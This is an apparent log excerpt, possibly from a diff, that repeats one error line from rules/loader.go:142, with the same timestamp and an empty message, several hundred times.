+time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:20+01:00 level=error msg= 